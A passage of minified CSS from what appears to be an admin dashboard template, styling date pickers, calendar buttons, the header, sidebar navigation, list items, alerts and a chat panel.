#f4f4f4; -moz-transform: scale(1); -o-transform: scale(1); -ms-transform: scale(1); -webkit-transform: scale(1); transform: scale(1); } .bootstrap-datetimepicker-widget .timepicker table td { position: relative; z-index: 1; width: 35px; height: 35px; line-height: 35px; } .bootstrap-datetimepicker-widget .timepicker table td .btn { height: auto; } .bootstrap-datetimepicker-widget .timepicker table td span { width: 35px; height: 35px; line-height: 35px; } .bootstrap-datetimepicker-widget.dropdown-menu { min-width: 280px; } .bootstrap-datetimepicker-widget.dropdown-menu.bottom:before, .bootstrap-datetimepicker-widget.dropdown-menu.bottom::before { border-bottom-color: #fff; } .bootstrap-datetimepicker-widget.dropdown-menu.top:before, .bootstrap-datetimepicker-widget.dropdown-menu.top::before { border-top-color: #fff; } .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr th, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td { width: 30px; height: 30px; line-height: 30px; } .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td:before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td::before { top: 4px; left: 0px; } .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.today:before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.today::before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.active:before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.active::before { top: 4px; left: 0px; } .bootstrap-tagsinput { display: block; border: 1px solid #eaeaea; min-height: 35px; padding: 0px 10px; padding-top: 4px; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .bootstrap-tagsinput .tag { padding: 1px 5px; margin-right: 2px; margin-bottom: 4px; display: inline-block; text-transform: capitalize; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; background-color: #4c5667 !important; } .note-editor.note-frame.card { -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .slider-nav .left-arrow, .slider-nav .right-arrow { font-size: 20px; color: #145388; display: inline-block; vertical-align: middle; margin: 0 15px; } .slider-nav .slider-dot-container { display: inline-block; } .slider-nav .slider-dot-container .owl-dot { width: 6px; height: 6px; border-radius: 10px; color: #00a7e2; background: #7cb9ec; outline: initial !important; border: initial; margin: 0 5px; padding: 0; } .slider-nav .slider-dot-container .owl-dot.active { background: #145388; } .fc .fc-toolbar .fc-button { background: #4a5361; color: #fff; padding: 5px 10px; height: auto; border: none; text-transform: capitalize; text-shadow: none; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .fc .fc-toolbar .fc-button .fc-icon { margin: 0; top: 0; } .fc .fc-toolbar .fc-button .fc-icon:after, .fc .fc-toolbar .fc-button .fc-icon::after { font-family: "iconkit"; font-size: 16px; } .fc .fc-toolbar .fc-button .fc-icon.fc-icon-left-single-arrow:after, .fc .fc-toolbar .fc-button .fc-icon.fc-icon-left-single-arrow::after { content: "\e843"; } .fc .fc-toolbar .fc-button .fc-icon.fc-icon-right-single-arrow:after, .fc .fc-toolbar .fc-button .fc-icon.fc-icon-right-single-arrow::after { content: "\e844"; } .fc .fc-toolbar .fc-button.fc-state-active, .fc .fc-toolbar .fc-button.fc-state-down { background: #272d36 !important; } .fc .fc-toolbar h2 { font-size: 22px; font-weight: 600; } .fc .fc-view-container .fc-view table thead tr td.fc-widget-header, .fc .fc-view-container .fc-view table thead tr th.fc-widget-header { color: #4a5361; background: #f3f4f4; border-color: #f3f4f4; padding: 10px 0px; } .fc .fc-view-container .fc-view .fc-day-number { float: left; padding: 10px 0 5px 10px; } .fc .fc-view-container .fc-view .fc-other-month { background: #f3f9ff; } .fc .fc-view-container .fc-view .fc-event-container .fc-event { display: block; padding: 3px 5px; color: #ffffff !important; font-weight: 600; font-size: 12px; border: none; } .fc-unthemed .fc-content, .fc-unthemed .fc-divider, .fc-unthemed .fc-list-heading, .fc-unthemed .fc-list-view, .fc-unthemed .fc-popover, .fc-unthemed .fc-row, .fc-unthemed tbody, .fc-unthemed td, .fc-unthemed thead { border-color: #f3f4f4; } .color-selector { padding: 0; margin: 0; list-style: none; } .color-selector li { position: relative; display: inline-block; width: 25px; height: 25px; margin: 0 8px 8px 0; background-color: #3e8ef7; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; } .color-selector li input[type=radio] { position: absolute; top: 0; left: 0; z-index: 1; width: inherit; height: inherit; cursor: pointer; border-radius: inherit; opacity: 0; } .color-selector li input[type=radio]:checked + label:after, .color-selector li input[type=radio]:checked + label::after { position: absolute; top: 0px; left: 5px; display: inline-block; margin-top: -3px; font-size: 16px; line-height: 1; content: "\e83f"; color: #fff; } .color-selector li label { position: relative; margin-bottom: .4rem; font-family: "iconkit"; font-style: normal; font-weight: 400; font-variant: normal; text-transform: none; } .color-selector li:last-child { margin-right: 0; } .alert { border: none; } .alert .close { font-size: 18px; padding: 12px 15px; } .jq-icon-info { background-color: #11cdef !important; color: #ffffff !important; border: none; } .jq-icon-warning { background-color: #fb6340 !important; color: #ffffff !important; } .jq-icon-error { background-color: #f5365c !important; color: #ffffff !important; } .jq-icon-success { color: #ffffff !important; background-color: #2dce89 !important; } .jq-toast-single, .jq-toast-single h2 { font-family: 'Nunito Sans', sans-serif; } .auth-wrapper .lavalite-bg { height: 100vh; position: relative; width: 100%; -webkit-background-size: cover; background-size: cover; background-repeat: no-repeat; } .auth-wrapper .lavalite-bg .lavalite-overlay { position: absolute; width: 100%; height: 100%; top: 0; left: 0; background: linear-gradient(135deg, rgba(46, 52, 81, 0.4) 0%, rgba(52, 40, 104, 0.95) 100%); } .auth-wrapper .authentication-form { font-size: .9rem; width: 70%; display: block; padding: 100px 0; } .auth-wrapper .authentication-form .logo-centered { width: 60px; margin: 0 auto; margin-bottom: 40px; } .auth-wrapper .authentication-form h3 { font-size: 20px; color: #272d36; margin-bottom: 20px; } .auth-wrapper .authentication-form .form-group { position: relative; } .auth-wrapper .authentication-form .form-group .form-control { padding-left: 40px; } .auth-wrapper .authentication-form .form-group .form-control ~ i { position: absolute; top: 10px; left: 15px; } .auth-wrapper .authentication-form .sign-btn { margin-top: 30px; } .auth-wrapper .authentication-form .register { margin-top: 30px; text-align: center; } body { color: #212121; font-size: .8rem; line-height: 1.5; font-weight: 400; font-family: "Nunito Sans", sans-serif; } .dropdown-toggle:after, .dropdown-toggle::after { display: none; } .tooltip { font-family: "Nunito Sans", sans-serif; font-size: 12px; font-weight: 700; } .truncate { text-overflow: ellipsis; white-space: nowrap; overflow: hidden; } .progress-sm { height: .5rem; } .progress-sm .progress-bar { height: .5rem; } .img-thumbnail, .list-thumbnail { border-radius: .1rem; padding: 0; border: initial; } .list-thumbnail { height: auto; max-width: unset; height: 85px; object-fit: cover; width: unset !important; } @media only screen and (max-width: 1023px) { .list-thumbnail.responsive { width: unset; height: 135px; } } .list-thumbnail.small { height: 60px; font-size: 1rem; } .list-thumbnail-letters { width: 85px; height: 85px; background: #090e40; align-items: center; display: flex; justify-content: center; font-size: 1.25rem; color: #fff; } .list-thumbnail-letters.small { width: 60px; height: 60px; font-size: 1rem; } .list-item-heading { font-size: 1rem; } .flex-grow-1 { -webkit-flex-grow: 1; -moz-flex-grow: 1; -ms-flex-grow: 1; flex-grow: 1; } .dropdown-menu { padding: 5px; font-size: 12px; background-color: #ffffff !important; border-color: transparent !important; margin: 0; width: 170px; border-radius: 6px; -webkit-border-radius: 6px; -moz-border-radius: 6px; -webkit-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); -moz-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); } .dropdown-menu .dropdown-item { background-color: #ffffff !important; padding: 8px 15px; line-height: 14px; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .dropdown-menu .dropdown-item .dropdown-icon { display: inline-block; vertical-align: middle; font-size: 16px; margin-right: 5px; vertical-align: -2px; color: #9aa0ac !important; } .dropdown-menu .dropdown-item:hover, .dropdown-menu .dropdown-item:focus { background-color: #dee2e6 !important; color: #212121 !important; } .dropdown-menu .dropdown-item .badge { width: 15px; height: 15px; border-radius: 50%; text-align: center; padding: 0; line-height: 15px; } .dropdown-menu:after, .dropdown-menu::after { bottom: 100%; left: 10px; border: solid transparent; content: ' '; height: 0; width: 0; position: absolute; pointer-events: none; border-color: rgba(136, 183, 213, 0); border-bottom-color: #ffffff !important; border-width: 5px; } .dropdown-menu.dropdown-menu-right::after { right: 10px; left: auto; } .wrapper .header-top { background-color: #ffffff !important; z-index: 1030; position: relative; padding: 15px 0; position: fixed; top: 0; width: 100%; left: 0; padding-left: 240px; -webkit-box-shadow: 0 1px 15px rgba(0, 0, 0, 0.04), 0 1px 6px rgba(0, 0, 0, 0.04); -moz-box-shadow: 0 1px 15px rgba(0, 0, 0, 0.04), 0 1px 6px rgba(0, 0, 0, 0.04); box-shadow: 0 1px 15px rgba(0, 0, 0, 0.04), 0 1px 6px rgba(0, 0, 0, 0.04); } .wrapper .header-top .top-menu .dropdown { margin-left: 10px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu { margin-top: 10px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.menu-grid { width: 182px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.menu-grid .dropdown-item { display: inline-block; width: 40px; height: 40px; text-align: center; padding: 0; line-height: 40px; font-size: 18px; color: #5A5A5A; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown { min-width: 300px; padding: 0; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .header { margin: 0; padding: 15px; font-size: 16px; border-bottom: 1px solid #f1f1f1; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media { border-bottom: 1px solid #eef1f2; padding: 10px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media:nth-child(odd) { background: #f8f9fa; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex { -webkit-box-align: start; -ms-flex-align: start; align-items: flex-start; margin-right: 15px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex i { color: #fff; text-align: center; font-size: 15px; line-height: 30px; top: 0; height: 30px; width: 30px; background: #404E67; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex img { height: 30px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body { font-size: 12px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body .media-heading { color: #444; font-weight: 600; letter-spacing: 0; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body .media-content { color: #868e96; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .footer { text-align: center; padding: 10px 15px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .footer a { color: #212121; font-size: 16px; } .wrapper .header-top .top-menu .nav-link { width: 30px; height: 30px; padding: 0; text-align: center; line-height: 36px; color: #212121 !important; border: none; position: relative; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; -moz-transition: all 0.5s ease-in-out; -o-transition: all 0.5s ease-in-out; -webkit-transition: all 0.5s ease-in-out; transition: all 0.5s ease-in-out; } .wrapper .header-top .top-menu .nav-link:hover, .wrapper .header-top .top-menu .nav-link:focus { background-color: #dee2e6; color: #333; } .wrapper .header-top .top-menu .nav-link i { font-size: 16px; } .wrapper .header-top .top-menu .nav-link .badge { right: -1px; position: absolute; top: -4px; padding: 3px; width: 17px; font-size: 11px; font-weight: 800; color: #fff; border-radius: 100px; -webkit-border-radius: 100px; -moz-border-radius: 100px; } .wrapper .header-top .top-menu .avatar { color: #4c5667 !important; font-weight: 600; width: 30px; height: 30px; line-height: 30px; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; display: inline-block; background: #ced4da no-repeat center/cover; position: relative; vertical-align: bottom; font-size: .875rem; user-select: none; } .wrapper .header-top .top-menu .mobile-nav-toggle { border: none; position: relative; margin-right: 5px; } .wrapper .header-top .top-menu .mobile-nav-toggle span { height: 2px; width: 20px; background-color: #4a5361; display: inline-block; border-radius: 4px; position: absolute; top: 14px; left: 5px; } .wrapper .header-top .top-menu .mobile-nav-toggle span::before, .wrapper .header-top .top-menu .mobile-nav-toggle span::after { content: ""; height: 2px; width: 20px; border-radius: 4px; background-color: #4a5361; display: inline-block; position: absolute; } .wrapper .header-top .top-menu .mobile-nav-toggle span::before { left: 0; top: -6px; } .wrapper .header-top .top-menu .mobile-nav-toggle span::after { left: 0; bottom: -6px; } .wrapper .header-top .top-menu .header-search { padding: 0 10px; position: relative; } .wrapper .header-top .top-menu .header-search .input-group { border-radius: 20px; -webkit-border-radius: 20px; -moz-border-radius: 20px; margin-bottom: 0; } .wrapper .header-top .top-menu .header-search .input-group .input-group-addon { color: #404E67; padding: 2px 10px 2px 0px; font-size: 16px; cursor: pointer; } .wrapper .header-top .top-menu .header-search .input-group .input-group-addon.search-close { padding: 2px 0px 2px 10px; display: none; } .wrapper .header-top .top-menu .header-search .input-group .form-control { padding: 0 10px; min-height: auto; width: 0; border: none; color: #353c4e; background-color: transparent; border-radius: 0px; -webkit-border-radius: 0px; -moz-border-radius: 0px; } .wrapper .header-top .top-menu .header-search.open .input-group { background-color: #e4e4e4; } .wrapper .header-top .top-menu .header-search.open .input-group .input-group-addon.search-close { display: block; } @media only screen and (max-width: 1023px) { .wrapper .header-top { padding-left: 0; } } .wrapper .page-wrap { position: relative; } .wrapper .page-wrap .app-sidebar { position: fixed; left: 0; top: 0; width: 240px; height: 100vh; background-color: #ffffff !important; z-index: 1040; -webkit-box-shadow: 0 3px 30px rgba(0, 0, 0, 0.1), 0 3px 20px rgba(0, 0, 0, 0.1); -moz-box-shadow: 0 3px 30px rgba(0, 0, 0, 0.1), 0 3px 20px rgba(0, 0, 0, 0.1); box-shadow: 0 3px 30px rgba(0, 0, 0, 0.1), 0 3px 20px rgba(0, 0, 0, 0.1); -moz-transition: width 0.3s cubic-bezier(0, 0, 0.2, 1); -o-transition: width 0.3s cubic-bezier(0, 0, 0.2, 1); -webkit-transition: width 0.3s cubic-bezier(0, 0, 0.2, 1); transition: width 0.3s cubic-bezier(0, 0, 0.2, 1); -moz-transform: translate3d(0, 0, 0); -o-transform: translate3d(0, 0, 0); -ms-transform: translate3d(0, 0, 0); -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); white-space: nowrap; visibility: visible; } .wrapper .page-wrap .app-sidebar .sidebar-header { display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-align-items: center; -moz-align-items: center; -ms-align-items: center; align-items: center; -webkit-justify-content: space-between; -moz-justify-content: space-between; -ms-justify-content: space-between; justify-content: space-between; -ms-flex-pack: space-between; padding: 13px 15px; height: 60px; } .wrapper .page-wrap .app-sidebar .sidebar-header .header-brand { display: block; font-size: 22px; font-weight: 700; color: #212529; } .wrapper .page-wrap .app-sidebar .sidebar-header .header-brand .logo-img { display: inline-block; width: 30px; } .wrapper .page-wrap .app-sidebar .sidebar-header .btn-icon { border: none; } .wrapper .page-wrap .app-sidebar .sidebar-header .nav-close { display: none; } @media only screen and (max-width: 1023px) { .wrapper .page-wrap .app-sidebar .sidebar-header .nav-close { display: inline-block; } } @media only screen and (max-width: 1023px) { .wrapper .page-wrap .app-sidebar .sidebar-header .nav-toggle { display: none; } } .wrapper .page-wrap .app-sidebar .sidebar-content { position: relative; height: -webkit-calc(100vh - 60px); height: -moz-calc(100vh - 60px); height: calc(100vh - 60px); overflow: auto; z-index: 4; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item { position: relative; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a { display: block; overflow: hidden; padding: 15px 5px; margin-left: 15px; margin-right: 15px; color: #545454; position: relative; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a i { font-size: 20px; margin-right: 10px; display: inline-block; vertical-align: -4px; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a span { font-size: 13px; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a .badge { position: absolute; right: 30px; text-align: center; top: 16px; vertical-align: middle; white-space: nowrap; opacity: 1; visibility: visible; border-radius: 4px; font-size: 75%; padding: 4px 7px; margin-right: 5px; font-weight: 800; color: #fff; -webkit-transition: opacity 0.3s linear; transition: opacity 0.3s linear; text-transform: uppercase; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a.disabled { opacity: 0.5; cursor: not-allowed !important; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub a::before { content: "\f105"; font-family: "FontAwesome"; position: absolute; right: 3px; top: 15px; -moz-transform: rotate(0deg); -o-transform: rotate(0deg); -ms-transform: rotate(0deg); -webkit-transform: rotate(0deg); transform: rotate(0deg); -moz-transition: all 0.2s ease-in-out; -o-transition: all 0.2s ease-in-out; -webkit-transition: all 0.2s ease-in-out; transition: all 0.2s ease-in-out; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content { background-color: #f3f3f3; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item { padding: 10px 5px; font-size: 13px; padding-left: 50px; margin: 0; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item::before { display: none; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item::after { display: none; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item a { position: relative; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item a::before { content: "\f105"; font-family: "FontAwesome"; position: absolute; right: 20px; top: 10px; display: inline-block; -moz-transform: rotate(0deg); -o-transform: rotate(0deg); -ms-transform: rotate(0deg); -webkit-transform: rotate(0deg); transform: rotate(0deg); -moz-transition: all 0.2s ease-in-out; -o-transition: all 0.2s ease-in-out; -webkit-transition: all 0.2s ease-in-out; transition: all 0.2s ease-in-out; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item .submenu-content .menu-item { padding-left: 70px; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item .submenu-content .menu-item::before { display: none; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item.open a::before { -moz-transform: rotate(90deg); -o-transform: rotate(90deg); -ms-transform: rotate(90deg); -webkit-transform: rotate(90deg); transform: rotate(90deg); } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item:not(.open) .submenu-content { display: none; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.open a::before { -moz-transform: rotate(90deg); -o-transform: rotate(90deg); -ms-transform: rotate(90deg); -webkit-transform: rotate(90deg); transform: rotate(90deg); } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.open::after { background: #576a3d; border-radius: 10px; color: #fff; content: " "; height: 30px; left: 0; position: absolute; top: 10px; width: 3px; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.active::after { background: #576a3d; border-radius: 10px; color: #fff; content: " "; height: 30px; left: 0; top: 10px; position: absolute; width: 3px; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-lavel { font-size: 14px; font-weight: 400; opacity: 1; padding: 25px 20px 8px; text-transform: capitalize; visibility: visible; width: 100%; color: #999; } .wrapper .page-wrap .app-sidebar.colored .sidebar-header { background-color: #272d36; } .wrapper .page-wrap .app-sidebar.colored .sidebar-header .header-brand { color: #ffffff !important; } .wrapper .page-wrap .app-sidebar.colored .sidebar-content { background-color: #404E67; } .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item { border-color: rgba(243, 243, 243, 0.15); } .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item a { color: #ffffff !important; } .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item a i { color: #bcc8d8; } .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item .submenu-content { background-color: #4a5872; } .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item.open::after, .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item.active::after { background-color: #eb525d; } .wrapper .page-wrap .app-sidebar.hide-sidebar { -moz-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); -o-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); -webkit-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); -moz-transform: translate3d(-100%, 0, 0); -o-transform: translate3d(-100%, 0, 0); -ms-transform: translate3d(-100%, 0, 0); -webkit-transform: translate3d(-100%, 0, 0); transform: translate3d(-100%, 0, 0); } @media only screen and (max-width: 1023px) { .wrapper .page-wrap .app-sidebar { -moz-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); -o-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); -webkit-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); } } .wrapper .page-wrap .main-content { padding: 30px 0; background-color: #F6F7FB; min-height: calc(100vh - 120px); margin-top: 60px; padding-right: 15px; padding-left: 255px; -moz-transition: all 0.3s ease; -o-transition: all 0.3s ease; -webkit-transition: all 0.3s ease; transition: all 0.3s ease; } @media only screen and (max-width: 1023px) { .wrapper .page-wrap .main-content { padding-left: 0; padding-right: 0; } } .wrapper .page-wrap .main-content .page-header { margin-bottom: 30px; } .wrapper .page-wrap .main-content .page-header .page-title { font-size: 22px; font-weight: 600; margin: 0; display: inline-block; } .wrapper .page-wrap .main-content .page-header .breadcrumb { background-color: transparent; margin-bottom: 0; padding-bottom: 0; } .wrapper .page-wrap .main-content .page-header .breadcrumb .breadcrumb-item a { color: #212121; } .wrapper .page-wrap .main-content .page-header .breadcrumb .breadcrumb-item + ::before { content: "|"; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item { padding: 13px 20px; border: 1px solid #ededed; position: relative; border-left: 0; border-right: 0; height: 50px; overflow: hidden; -moz-transition: transform 0.2s ease-in-out; -o-transition: transform 0.2s ease-in-out; -webkit-transition: transform 0.2s ease-in-out; transition: transform 0.2s ease-in-out; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner { display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-justify-content: flex-start; -moz-justify-content: flex-start; -ms-justify-content: flex-start; justify-content: flex-start; -ms-flex-pack: flex-start; position: relative; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .custom-control { margin: 0; margin-top: -2px; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-title { width: 100%; display: block; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-title a { color: #3e5569; font-weight: 600; display: block; width: 100%; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; width: calc(100% - 50px); } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions { position: absolute; right: 0px; top: 50%; opacity: 0; display: none; z-index: 3; padding-left: 10px; -moz-transform: translateY(-50%); -o-transform: translateY(-50%); -ms-transform: translateY(-50%); -webkit-transform: translateY(-50%); transform: translateY(-50%); } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a { width: 30px; height: 30px; padding: 0; border-radius: 50%; text-align: center; line-height: 32px; color: #999; display: inline-block; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a:hover, .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a:focus { background-color: #dee2e6; color: #333; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .qickview-wrap { margin-top: 5px; opacity: 0; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .qickview-wrap .desc p { margin: 0; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:hover, .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:focus { background-color: #f9f9f9; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:hover .list-actions, .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:focus .list-actions { opacity: 1; display: block; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened { height: auto; background-color: #ffffff !important; border: none; z-index: 5; -webkit-box-shadow: 0 0 0 0 rgba(0, 0, 0, 0.01), 0 0 32px 0 rgba(0, 0, 0, 0.1); -moz-box-shadow: 0 0 0 0 rgba(0, 0, 0, 0.01), 0 0 32px 0 rgba(0, 0, 0, 0.1); box-shadow: 0 0 0 0 rgba(0, 0, 0, 0.01), 0 0 32px 0 rgba(0, 0, 0, 0.1); -moz-transform: scale(1.01); -o-transform: scale(1.01); -ms-transform: scale(1.01); -webkit-transform: scale(1.01); transform: scale(1.01); } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened .item-inner .list-title a { font-size: 16px; color: #263238; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened .qickview-wrap { opacity: 1; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item + .list-item { margin-top: -1px; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:last-child { border-bottom: none; } .wrapper .page-wrap .footer { background: #ffffff !important; padding: 20px 30px; border-top: 1px solid rgba(0, 0, 0, 0.04); font-size: calc(0.875rem - 0.05rem); -moz-transition: all 0.25s ease; -o-transition: all 0.25s ease; -webkit-transition: all 0.25s ease; transition: all 0.25s ease; } @media only screen and (min-width: 1024px) { .wrapper .page-wrap .footer { padding-left: 270px; } } .wrapper .page-wrap .right-sidebar { position: fixed; top: 60px; right: 0; width: 240px; background: #fff; height: calc(100vh - 60px); border-left: 1px solid #eef1f2; border-top: 1px solid #eef1f2; padding: 1.07143em; z-index: 9; -moz-transform: translateX(100%); -o-transform: translateX(100%); -ms-transform: translateX(100%); -webkit-transform: translateX(100%); transform: translateX(100%); -moz-transition: all 0.25s ease; -o-transition: all 0.25s ease; -webkit-transition: all 0.25s ease; transition: all 0.25s ease; } .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info h6 { color: #353c4e; } .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group { position: relative; } .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group .form-control { padding-right: 30px; border-radius: 50px; -webkit-border-radius: 50px; -moz-border-radius: 50px; padding-left: 15px; } .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group i { position: absolute; top: 8px; right: 10px; font-size: 16px; color: #bbb; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group { margin-left: -1.07143em; margin-right: -1.07143em; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item { background: none; border: 0; border-top: 1px solid #eef1f2; padding: 1em 1.07143em; overflow: hidden; color: #999; display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-align-items: center; -moz-align-items: center; -ms-align-items: center; align-items: center; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item figure { margin: 0; position: relative; margin-right: 10px; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item figure img { width: 40px; height: 40px; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item span { line-height: 1em; display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-justify-content: end; -moz-justify-content: end; -ms-justify-content: end; justify-content: end; -ms-flex-pack: end; -webkit-flex-direction: column; -moz-flex-direction: column; -ms-flex-direction: column; flex-direction: column; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item span .name { font-size: 14px; color: #444; margin-bottom: 5px; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group [class*="user-"]:after { position: absolute; top: calc(50% + 15px); left: 0; -moz-transform: translateY(-50%); -o-transform: translateY(-50%); -ms-transform: translateY(-50%); -webkit-transform: translateY(-50%); transform: translateY(-50%); } .wrapper .page-wrap .chat-panel { position: fixed; top: calc(100vh); right: calc( 240px + 15px); width: 310px; z-index: 9999; -moz-transform: translateY(-100%) translateX(14.0625rem); -o-transform: translateY(-100%) translateX(14.0625rem); -ms-transform: translateY(-100%) translateX(14.0625rem); -webkit-transform: translateY(-100%) translateX(14.0625rem); transform: translateY(-100%) translateX(14.0625rem); } .wrapper .page-wrap .chat-panel .card { border: none; margin-bottom: 1.42857em; 